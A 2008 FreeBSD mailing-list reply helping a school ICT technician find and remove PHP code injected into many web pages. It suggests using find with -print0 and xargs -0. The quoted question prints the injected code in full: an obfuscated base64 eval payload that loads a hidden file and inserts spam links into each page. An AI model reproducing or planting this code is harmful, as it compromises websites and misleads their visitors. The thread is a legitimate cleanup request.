Date: Thu, 04 Dec 2008 12:52:02 +0000 From: Vincent Hoffman <vince@unsane.co.uk> To: mcoyles@horbury.wakefield.sch.uk Cc: freebsd-questions@freebsd.org Subject: Re: Mass find/replace... Message-ID: <4937D272.9090108@unsane.co.uk> In-Reply-To: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk>
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Marc Coyles wrote:
> Never had to do this so not sure where to start. Have googled and found
> some solutions but they don't particularly work (see below)...
>
> Someone has managed to inject php code into a PILE of php pages on my
> webserver...
>
> "<?
> /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNz
> ZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhp
> c3RzKCcvaG9tZS9ob3JidXJ5L3B1YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRv
> ci9mY2tlZGl0b3IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMv
> aWNvbnMvMzIvbWRsX3V0Zi5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9ob3JidXJ5L3B1
> YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRvci9mY2tlZGl0b3IvZWRpdG9yL2Zp
> bGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMvMzIvbWRsX3V0Zi5waHAn
> KTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcp
> KXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgk
> UjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdB
> MzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYw
> NjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRS
> MEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMw
> ODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5
> MzE9dW5wYWNrKCd2JyxzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2
> OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZE
> QTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4
> ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2
> QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4
> NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMy
> ODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigk
> UjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdB
> N0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2
> NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31p
> ZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdC
> N0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFF
> MzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMy
> ODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUz
> MTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNF
> MDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0
> dXJuICRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29i
> aCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQt
> RW5jb2Rpbmc6IG5vbmUnKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6
> ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0
> Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXty
> ZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJyQxJy5nbWwoKSwk
> UjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCku
> JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcp
> O319fQ==')); ?>"
>
> This basically brings up a pile of spam links.
>
> I need to do a find / replace throughout the entire of the
> /home/horbury/public_html directory...
> I've tried 'find /home/Horbury/ -type f | xargs grep -l base64_decode'
> to get a list of the files that require the operation performing, but it
> comes up with an error (xargs: unterminated quote) after a few
> results...
>
try using
find /home/Horbury/ -type f -print0| xargs -0 grep -l base64_decode
(not certain it'll fix it but good practice anyway)
Vince
> Any tips? Basically to find the above and remove it... otherwise I'll
> have to resort to doing it in Dreamweaver and reuploading, which is a
> major pita, or restoring from a backup (after working out when exactly
> this happened and how - I'm guessing thru a teacher's out of date
> wordpress install somewhere).
>
> Marc A Coyles - Horbury School ICT Support Team
> Mbl: 07850 518106
> Land: 01924 282740 ext 730
> Helpdesk: 01924 282740 ext 2000
>
>
>
>
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